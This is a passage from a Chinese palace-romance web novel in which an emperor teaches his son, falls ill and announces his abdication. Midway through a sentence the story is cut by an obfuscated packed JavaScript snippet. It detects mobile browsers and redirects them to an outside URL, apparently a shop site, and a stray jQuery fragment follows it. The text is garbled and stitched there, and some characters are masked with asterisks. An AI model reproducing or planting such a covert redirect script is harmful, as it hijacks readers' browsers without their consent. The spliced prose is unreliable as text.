“我不是菩萨。”她说，“我只是做过孤儿。”


    那年冬天，太子五岁了。


    五岁的太子已经能认几百个字，会背几十首唐诗，还能歪歪扭扭地写自己的名字——“萧衍”。衍是萧寰取的字，说是“繁衍不息”的意思。


    萧寰每日下朝后，都要亲自教儿子读书。暖阁里摆一张小书案，父子俩对坐着，一个教，一个学。苏灼有时也来旁听，坐在一旁做针线，偶尔抬头看看那两张相似的脸，嘴角便弯起来。


    有一回教论语，教到“学而时**之，不亦说乎”。萧衍眨着眼睛问：“父皇，‘说’是什么意思？是说话的说吗？”


    萧寰笑了，摸摸他的头：“不是。这个说通悦，是高兴的意思。就是说，学了东西，时常温**，心里就会高兴。”


    萧衍似懂非懂地点点头，又问：“那父皇每天看那么多折子，是在温**吗？”


    萧寰愣了一下，随即哈哈大笑。


    苏灼也笑了，放下针线，走过来，把儿子抱进怀里。


    “你父皇不是在温**，”她说，“是在给百姓做事。做完了，百姓高兴，他心里就高兴。”


    萧衍想了想，忽然说：“那衍儿长大了，也要给百姓做事。”


    萧寰看着他，目光软得像一池春水。他伸出手，轻轻抚了抚儿子的头。


    “好，”他说，“父皇等着。”


    那天晚上，萧衍睡着后，萧寰和苏灼并肩坐在窗边，望着窗外的月色。


    凤仪宫的海棠已经长得很高了，枝繁叶茂，在月光下投下一片浓重的影子。远处传来隐约的更声，一下一下，不紧不慢。


    “阿灼，”萧寰忽然开口，“你说，咱们这江山，能传几代？”


    苏灼侧过头，看着他。


    萧寰的目光望着远方，不知望着什么。月光落在他脸上，把他眉眼间的疲惫照得清清楚楚，也把他眼底的希冀照得清清楚楚。


    “我不知道。”苏灼说，“可我知道，只要咱们好好教衍儿，他将来会是个好皇帝。”


    萧寰点点头，又沉默了一会儿。


    “阿灼，”他说，“这些年，辛苦你了。”


    苏灼摇摇头，把头靠在他肩上。


    “不辛苦。”她轻声说，“有你，有衍儿，有这太平日子，比什么都强。”


    萧寰伸出手，揽住她的肩。


    窗外的月亮很圆，很亮，把整个凤仪宫都照得亮堂堂的。远处的钟声隐隐传来，悠长而沉静。


    他们就这样坐着，望着月光，听着钟声，感受着彼此的体温。


    十年，弹指一挥间。


    凤仪宫的海棠已经长成了一棵大树，枝繁叶茂，春日里花开如云，把半个院子都遮在粉白的轻纱里。树下多了几张石凳，是太子小时候吵着要的，萧寰便让人搬来几块石头，凿成凳子的模样，虽粗糙些，却结实得很。


    如今太子已经不用这些石凳了。


    萧衍十五岁了，身量比同龄的孩子高出一截，眉眼间既有萧寰的沉稳，又有苏灼的灵动。他每日天不亮便起身，先练一个时辰剑，再去上朝。下了朝，还要跟着张简等几位老臣学习处理政务，常常忙到天黑才能歇息。


    苏灼有时心疼，劝他歇一歇。萧衍只是笑笑，说：“母后，父皇十五岁的时候，已经在和萧执周旋了。儿子这点累，算什么。”


    苏灼听了，便不再劝。


    她知道，这孩子心里有数。


    萧寰的身体，这些年渐渐不如从前了。


    那场大病伤了根基，这些年虽精心调养，可毕竟亏了底子。刚过五十的人，头发已经白了大半，腰背也不像从前那样挺直。批折子时，常常要停下来歇一会儿，揉揉眼睛，再继续。


    苏灼劝他少看些折子，把事情分给太子和内阁去做。萧寰只是摇头，说：“再看几年，等衍儿再大些。”


    可今年开春，他忽然病了一场。


    不算大病，只是风寒，换了别人，喝几剂药便好了。他却缠绵病榻半个多月，咳得整夜整夜睡不着。苏灼守在他身边，看着他消瘦的脸，听着他压抑的咳嗽声，心里像被什么东西攥着，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228363|196593||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    疼得喘不过气。


    萧寰病好那日，把她叫到床前。


    “阿灼，”他说，“我想好了。”


    苏灼看着他，等着他说下去。


    “禅位。”萧寰说，“等衍儿行完冠礼，就把位子传给他。”


    苏灼怔了一下，没有说话。


    萧寰握住她的手，轻轻抚着她的手背。


    “我累了。”他说，声音很轻，“这些年，从登基那天起，就没有一天真正歇过。现在衍儿大了，能挑担子了。我想……带你出去走走。”


    他看着她的眼睛，眼底有淡淡的光。


    “阿灼，你陪了我这么多年，我欠你的。”


    苏灼的眼眶忽然有些发酸。她低下头，没有说话，只是反握住他的手，用力握了握。


    萧寰知道，她答应了。


    那年秋天，萧衍行了冠礼。


    冠礼在太庙举行，隆重而庄严。萧衍穿着衮冕，在百官的注视下，一步步走上祭台，向列祖列宗叩首。他的背挺得很直，步伐很稳，脸上没有一丝慌乱。


    萧寰站在一旁，看着自己的儿子，忽然想起很多年前，自己也是这样，在同样的地方，行同样的礼。那时他十七岁，先帝刚刚驾崩，他跪在那里，心里全是茫然和恐惧。


    如今他的儿子，比他当年从容得多。


    冠礼后第三日，萧寰在太和殿宣布禅位。


    满殿哗然。


    张简第一个跪下来，老泪纵横：“陛下！陛下春秋正盛，何出此言！”


    紧接着，百官齐齐跪倒，山呼之声震动殿宇：“请陛下收回成命！”


    萧寰坐在御座上，看着那些跪伏的身影。他看见张简的白发，看见李岩的泪光，看见许多熟悉的面孔——有些跟了他几十年，有些是后来提拔的年轻官员，一个个都跪在那里，求他留下。


    他缓缓站起身，走下丹陛。


    “朕老了吗？”他问，声音不高，却清清楚楚。


    没人敢答。


    萧寰笑了一下，那笑容里有释然，也有疲惫。